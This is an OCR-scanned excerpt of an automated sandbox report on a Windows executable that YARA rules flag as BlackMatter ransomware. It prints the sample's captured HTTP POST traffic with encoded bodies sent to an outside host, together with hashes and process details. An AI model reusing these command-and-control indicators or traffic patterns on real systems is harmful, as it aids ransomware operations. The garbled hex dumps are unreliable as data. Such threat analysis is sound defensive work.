7uium=7kQVIcMRI0Iz9z F5N&EOj3TrEzg=uXPRggL6AtVMT&jOg2Kg=KbU1&0Jgem=QGXs&Thxw591w=7AzVv38Ty&
3Kwha=7J4&3JE702D5H=wVwVW&xj6Km=elvB77L1DiRICecfvT&rn2cJrZbK=y6u&WI1Wj=VXI8HkHvD8h6WgygV&|
iCAMKI=PC3nWpKyNJUHfNNY&YdDNI5U=gZiZI0BeoL fimdx&DjiEcu=20b4Hh8Ch5v&tz2REARJ=zwNqtxhKtQaEpG
WtM&subid1=20211024-1822-00f0-90ca-3541d116f917 HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

User-Agent: AppleWebKit/587.38 (KHTML, like Gecko)

Cache-Control: no-cache

Host: ww25.paymenthacks.com

Cookie: __ tad=1635060084.7055840; parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf

HTTP/1.1 200 OK

Server: openresty

Date: Sun, 24 Oct 2021 07:22:00 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: parking_session=68cbdd23-a819-2e99-a6ef-bf6 1faaacfaf; expires=Sun, 24-Oct-2021 07:37:00 GMT; Max-A
ge=900; path=/; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAWEAAQ==_FmvvWH96BAP4Q1c9E9i4tUONEjU7PSzDit+f
jegS6YI1sr5VPgpOr5G0SdmXk5Bo561FI3jdXu324fzjJLsRRg==

Cache-Control: no-cache

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-store, must-revalidate

Cache-Control: post-check=0, pre-check=0

Pragma: no-cache

Content-Encoding: gzip

Data Raw: 36 66 36 0d Oa 1f 8b 08 00 00 00 00 00 04 03 9d 56 cb 96 a3 38 12 fd 15 8f 37 bd 98 c9 34 0f e3 2a 77 a7 f3 1c
bf b0 21 41 36 2f 01 da cc c1 12 69 1e 12 50 06 1b c3 d7 8f 70 €6 54 e7 99 a9 9e c5 6¢ 38 20 22 6e dc 08 5d 45 e8 e5 6f
a4 c4 4d 57 c5 a3 a4 61 f4 f5 65 78 8e 68 54 9¢c 17 e3 b8 18 8f 48 d4 44 4f 11 39 d1 12 e7 79 dc 2d c6 a6 da b6 1b 2b d4
df 4a a4 25 37 Oc 96 d6 76 b5 b2 96 1b a7 5d b6 ce 52 5f 2d c1 e6 52 49 b4 ff b6 3c b0 e5 26 02 df 9b a5 22 18 b5 8f 33
43 ed 2¢ 15 9f 26 47 c9 bd 63 e5 7b 19 1e 62 cd 38 c9 b7 55 fb 4d 9f bd 4f ab 88 e5 4b Ob 3a d6 f5 47 58 bf dd e5 b0 27 de
7e 7d 3b 41 74 53 bd 7a bd 6¢ b7 cb a5 b5 58 fc 53 65 b7 9b bf 9f cf 56 cb €3 d4 12 f1 7c 3b 4f a7 8d 77 00 db cc fb 76 74
fa 4d da fc fd 3d 8b cf ce 2c a4 62 7d 51 e0 f1 5¢c 1d 2e ca 4e 70 08 Ob 72 65 55 2a 33 aa 6a 72 46 82 ab 2c 4d df fb 4c 37
6a db 3e 2f 16 63 9e 7b 1c 91 d7 17 16 37 d1 08 27 d1 a5 8e 9b c5 f8 da bc 3f 7d e7 ff 1e ab 45 c4 e2 c5 8 96 c6 6d 55 5e
9a f1 08 97 45 13 17 dc aa 4d 49 93 2¢c 48 7c 4b 71 fc f4 {8 f8 7 28 2d d2 26 8d e8 53 8d 23 1a 2f 44 8e 41 d3 22 1f 5d 62
ba 18 d7 09 7 c¢7 d7 66 94 72 88 f1 28 b9 c4 ef 8b f1 e4 3d e2 fe 65 f1 cc 1f e3 d1 b0 27 8b 71 ca a2 73 3c b9 3f3d ec 26 £
f21 aa4b cc 6d 8b 18 73 1e 1f fe 49 d3 54 f5 ef 93 49 db b6 cf e7 b2 3c d3 f8 19 97 8¢ b3 bc 94 75 5d 5e d2 73 5a 7c 05
20 45 fd c4 41 de e3 06 27 ff 09 51 45 97 3c 2d ce cf a7 92 a4 35 26 c5 ff 0d f4 ce 2b 54 7f b2 89 aa b4 fe 05 d0 e4 a3 ec
3c 54 f7 fa 42 d2 db 28 25 8b 71 13 5d ce 31 cf ac 6e 3a 5e bc df ca 2a c2 69 d3 fd 3e 12 7e 7b 7d 99 70 a3 d7 97 1a 5f d2
aa 79 6d d3 82 94 ed f3 40 78 b4 18 8d e3 4e 17 89 4f 73 2d 2b 53 90 25 59 c8 ec dc cc cc 26 74 cf f7 83 23 74 c8 cd 15
c3 df 4a c8 0f 9b 90 85 92 e9 a3 24 f4 d5 Oc 31 95 69 69 9b e2 9d 5a 20 38 17 22 5f a4 1c e3 Oe 32 53 34 37 61 6b ba 5a
6b ac f5 36

Data Ascii: 6f6V874*WIA6/iPpTI8 "n]JEoMWaexhTHDO9y-+J%7V]R_-RI<&"3C,&Gc{b8UMOK:GX'~};AtSzIXSeV|;0wvtM
=,b}Q\.NpreU*3jrF, ML 7j>/c{7'?}EmMUAEMI,H|Kq(-&S#/DA"|bfr(=e'gs<?=&_!KmsITI<u]sZ| EA'QE<-5&+T<TB(%g]1n: *i>~
{}p_ym@xNOs-+S%Y &t#tI$1iiZ 8"_2S47akzZk6

Destination IP  Destination Port Process

103.224.212.222 443 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

POST /?ztY dx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG3=maO6bGG6LAg&mi3fju3=S
kxeAp3EGyy3E&fGep=0079la8IfpgF2Pf&Ktpuhpgn=2pQNXS3RarpD2S&lzL C=HEaimaSUBS3zwOnFsZL&MNg=HhbZ8eK
HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Content-Type: text/plain

User-Agent: Chrome/91.0.4472.77

Host: paymenthacks.com

Content-Length: 816

Cache-Control: no-cache

Data Raw: 72 49 4e 6b 68 69 65 3d 6e 36 75 7a 42 49 26 64 78 37 73 3d 69 70 59 70 34 33 68 31 71 46 4a 48 36 2b 72
37 342b 2b2b 77 2b 79 49 43 66 4b 4c 76 35 59 6e 54 72 61 59 77 76 77 79 71 4a 46 50 72 2b 57 41 39 74 6a 2f 54 32
4d 74 57 59 79 6f 79 68 47 32 33 50 4c 30 4e 42 67 64 48 31 6b 75 6¢ 75 68 36 45 46 57 36 58 37 7039 62 7a 7571 7a 6
35969 71 67 44 35 76 41 36 45 51 4d 6f 6a 72 75 65 70 70 50 34 4d 44 62 62 63 2f 6a 39 42 66 4b 70 64 78 65 4c 38 68
2f 72 69 64 69 6¢ 64 34 64 42 39 58 45 48 36 31 72 6a 76 32 35 7a 41 73 78 6d 69 51 32 41 58 63 75 45 78 53 31 56 6b
57 6e 41 78 4c 31 56 66 74 46 65 58 5a 59 69 35 68 43 4b 5a 54 53 54 30 53 2b 2f 68 4d 31 73 68 36 45 6d 36 61 34 73
46 43 55 43 67 6b 44 71 65 41 56 46 73 4c 50 76 32 48 47 63 6a 36 35 45

Data Ascii: rINkhie=n6uzBI&dx7s=ipYp43h1qFIHE+r74+++w+ylCIKLVEYnTraYwvwyqJFPr+WAQt/T2MtWYyoyhG23PLO0
NBgdH1kuluh6EFW6X7p9bzugzcYiqgD5vAGEQMojrueppP4MDbbc/j9BfKpdxeL8h/ridild4dBOXEH61rjv25zAsx
mMiQ2AXCcUEXS1VKWnNAXL1VftFeXZYiShCKZTST0S+hM1sh6Em6adsFCUCgkDgeAVFsLPv2HGC|65E
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kBytes

Timestamp transferred Direction

2021-10-24 07:21:24 UTC 1 IN

Session ID Source IP Source Port

1 192.168.2.3 49761
kBytes

Timestamp transferred Direction

2021-10-24 07:21:59 UTC 1 ouT

2021-10-24 07:21:59 UTC 2 ouT

2021-10-24 07:21:59 UTC 2 IN

Code Manipulations

Statistics

System Behavior

Data

HTTP/1.1 302 Found

Date: Sun, 24 Oct 2021 07:21:23 GMT

Server: Apache/2.4.25 (Debian)

Set-Cookie: _ tad=1635060084.7055840; expires=Wed, 22-Oct-2031 07:21:24 GMT; Max-Age=315360000

Location: http://ww25.paymenthacks.com/?ztYdx0Q=9Jh2L4nBPBJechaF7&alz8nwiFC=fVBFCEdqrnS06Ab&ZaNSaGgG
3=ma06bGG6LAg&mMI3fjud3=SkxeAp3EGyy3E&fGep=0079la8IfpgF2P{&Ktpuhpgn=2pQNXS3RarpD2S&IzLC=HEai
maSUBS3zw0nFsZL&MNg=HhbZ8eK&subid1=20211024-1821-244d-afd2-7f2406ac953a

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Destination IP Destination Port Process

103.224.212.222 443 C:\Users\user\Desktop\GILHM7paoZ.exe

Data

POST /?wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtmW9ThsVHLPVT&NIzLa=KKD&W
W7uium=7kQVIcMRI0Iz9zF5N&EOj3TrEzg=uXPRgqL6AtVMT&jOg2Kg=KbU1&0Jgqem=QGXs&Thxw591w=7AzVv38Ty
&3Kwha=7J4&3JE702D5H=wVwVW&xj6Km=elvB77L1DiRICecfvT&rmn2cIrZbK=y6u&WI1Wj=VXI8HkHvD8h6WgygV&
jICAMKI=PC3nWpKyNJUHfNNY&YdDNI5U=0ZiZI0BeoL fimdx&DjiEcu=20b4Hh8Ch5v&tz2REARJI=zwNqtxhKtQaEpGWtM
HTTP/1.1

Accept: */*

Connection: keep-alive

Accept-Encoding: gzip, deflate, br

Content-Type: text/plain

User-Agent: AppleWebKit/587.38 (KHTML, like Gecko)

Host: paymenthacks.com

Content-Length: 665

Cache-Control: no-cache

Cookie: __tad=1635060084.7055840

Data Raw: 31 36 7a 4d 34 56 6f 3d 70 56 31 26 45 74 55 3d 47 46 39 70 65 70 67 6¢ 55 44 26 62 4d 78 51 3d 35 31 32 34
3738 63 30 38 64 61 64 61 32 61 66 31 39 65 34 39 38 30 38 66 62 64 61 35 62 30 62 26 65 37 59 57 58 62 37 6¢ 78 3d
68 42 47 6b 69 55 54 64 61 43 26 75 59 68 63 45 33 66 6a 3d 4d 69 50 4b 6e 61 6f 4a 39 6b 64 61 62 30 26 48 73 30 7a
38 6b 4c 3d 48 4f 39 6a 65 48 78 37 48 41 38 43 32 7a 26 36 71 59 4d 49 45 3d 62 45 4b 39 4f 58 75 5a 74 42 26 41 59 4b
62 32 3d 66 6f 4b 38 61 43 58 74 49 79 4b 45 51 50 65 71 70 26 67 66 73 77 3d 35 66 46 47 78 74 6b 46 4f 62 74 6d 57 2
6 4f 32 45 75 62 3d 6e 6b 7a 50 31 34 5a 48 38 76 76 7a 26 52 45 70 59 3d 69 70 59 70 34 33 68 31 71 46 4a 48 36 2b 72
37 34 2b 2b 2b 77 2b 79 49 43 66 4b 4c 76 35 59 6e 54 72 61 59 77

Data Ascii: 16zM4Vo=pV1&EtU=GF9pepglUD&bMxQ=512478c08dada2af19e49808fbda5b0b&e7YWXb7Ix=hBG
kiUTdaC&uYhcE3fj=MiPKnaoJ9kdab0&Hs0z8kL=HO9jeHx7HA8C2z&6qYMIE=bEK9IOXuZtB&AYKb2=foK8aCXtlyK
EQPeqp&gfsw=5fFGxtkFObtmW&O2Eub=nkzP14ZH8vvz&REpY=ipYp43h1qFIH6+r74+++w+ylCfKLV5YnTraYw

HTTP/1.1 302 Found

Date: Sun, 24 Oct 2021 07:21:59 GMT

Server: Apache/2.4.25 (Debian)

Location: http://ww25.paymenthacks.com/?wFdsAo=m8SxzzJYA8Cye0Zulp&llu7qt4s=9vaqCklU&POrY85r3g=3yWBtm
W9IThsVHLPVT&NIzLa=KKD&Ww7uium=7kQVIcMRI0Iz9zF5N&EOj3TrEzg=uXPRgqL6AtVMT&jOg2Kg=KbU1&0OJgem=
QGXs&Thxw591w=7AzVv38Ty&3Kwha=7J4&3JE702D5H=wVWVW&xj6Km=elvB77L1DiRICecfvT&rn2cJIrZbK=y6u&WwW
11Wj=VXI8HkHVD8h6WgygV&jiC4AMKI=PC3nWpKyNJUHfNNY &YdDNI5U=0ZiZ|0BeoL fimdx&DjiEcu=20b4Hh8Ch5v
&tz2REARJI=zWNqtxhKtQaEpGWtM&subid1=20211024-1821-5994-88c3-3f09ef5a5c59

Content-Length: 0

Connection: close

Content-Type: text/html; charset=UTF-8

Analysis Process: GILHM7paoZ.exe PID: 4540 Parent PID: 5772

General

Copyright Joe Security LLC 2021
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Start time: 09:21:21

Start date: 24/10/2021
Path: C:\Users\user\Desktop\GILHM7paoZ.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\GILHM7paoZ.exe'
Imagebase: 0x10f0000
File size: 68608 bytes
MD5 hash: 598C53BFEF81E489375F09792E487F1A
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_blackmatter, Description: Yara detected BLACKMatter Ransomware,
Source:
00000000.00000003.279368947.00000000012FB000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_blackmatter, Description: Yara detected BLACKMatter Ransomware,
Source:
00000000.00000003.279421242.00000000012FC000.00000004.00000001.sdmp, Author:
Joe Security
e Rule: JoeSecurity_blackmatter, Description: Yara detected BLACKMatter Ransomware,
Source:
00000000.00000002.359933097.00000000012FF000.00000004.00000001.sdmp, Author:
Joe Security
Reputation: low
File Activities Show Windows behavior
File Created
File Deleted
File Moved
File Written
File Read
Registry Activities Show Windows behavior
Key Created

Key Value Modified

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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